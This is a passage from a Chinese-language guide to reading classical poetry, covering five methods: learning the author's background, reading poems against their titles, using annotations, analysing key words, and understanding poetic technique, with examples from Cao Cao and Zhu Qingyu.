四．如何去賞读古典诗词。
熟练地掌握了以上所讲的诗词基础知识、格律要求、写作技巧和修辞方法等以后，对我们賞读古典诗词有很大的帮助。就如何更好地加深理解古典诗词，建议从以下几个方面着手：
1.熟悉作者。在賞读诗词以前，必须对作者有一定的了解，要熟知作者所处的时代背景。以及作者的生平、抱负、遭遇、思想主张和创作作品时的社会环境等，以加强对诗词思想性地理解。如曹操的《短歌行》：“人生几何，对酒当歌。譬如朝露，去日苦多……”，尽管曹操发出了时易逝的叹息，但结合当时群雄逐鹿中原的战争场面，不难看到作者以天下为己任，一种建功立业的强烈愿望及对人生地追求，不至于误解为好酒颓废的哀叹。所以，了解作者及历史背景是深化理解作品内容较为重要的一步。

2.紧扣标题。诗词的语言是含蓄的语言，一些诗词在内容里不容易觉察到诗人的真实用意，通过和标题联系起来互相印证，互相对比，不难发现诗中主题思想所在。如朱庆余的《闺意献张水部》：

洞房昨夜停红烛，待晓堂前拜舅姑。

妆罢低声问夫婿，画眉深浅入时无？

这首诗从内容上看，似乎是写新婚嫁娘妆扮后问新郎，自己的打扮是否能讨公婆喜欢。此诗还有一个标题叫《近试上张部水》。结合标题我们可以分析到，在考试前夕，作者给水部郎中张藉写了这首诗。借闺房隐喻考试，把自己比作新娘，把张藉比作新郎，考官比作公婆，问张藉自己的作品是否符能符合主考官的要求。若脱离了标题去做字面的理解，就与作者的原意南辕北辙了。朱熹的《读书有感》，杨万里的《晓出净慈寺送林子方》等，如不联系标题，很容易理解成一首写景诗。诗词的标题除了点名作品的内容范畴外，还能察知赋予作品的主题思想。如所使用的“赠”、“答”、“别”、“抒”、“愤”、“喜”、“怨”、“思”等字眼，都有带有鲜明地暗示作用。
3.借助注释。通过注释我们可以更多地了解到作者创作时的历史背景；语言的古义和在诗词中的现义；以及所用典故的出处和在诗词中的含义等。对全面准确理解全文有着举足轻重的作用。
4.加深对关键词汇地分析。诗词要求短小精悍，形象含蓄等，不能象叙事文那样做具体地描写。所以，在賞读诗词时，应深刻理解每个词的特定含义和深层含义；词和词之间的相互关系；以及诗词中提到的形象作用等。特别是对炼字和炼句地分析，通过对这些加以仔细研究，品味它们在其中所起的作用和所要表达的意境。全面领略全诗的含义，力求准确地理解作者的真实意图和目的。
5.加深诗词表现艺术地理解。诗词语言不同于现代语法，可以说是现代语法的变形。主要表现在改变词性；不守语法；颠倒语序；拆散词汇等。所以，我们要努力理解每句诗词语言的含义，明白诗词都用了那些艺术形象，表达技巧，表现手法，修辞艺术等。分析这些修辞手法在诗词中表达了什么内容，起到了什么作用和效果等。通过这样一分析，就能从思想上和艺术上比较全面地理解和领略到诗人要抒发的真实感情。

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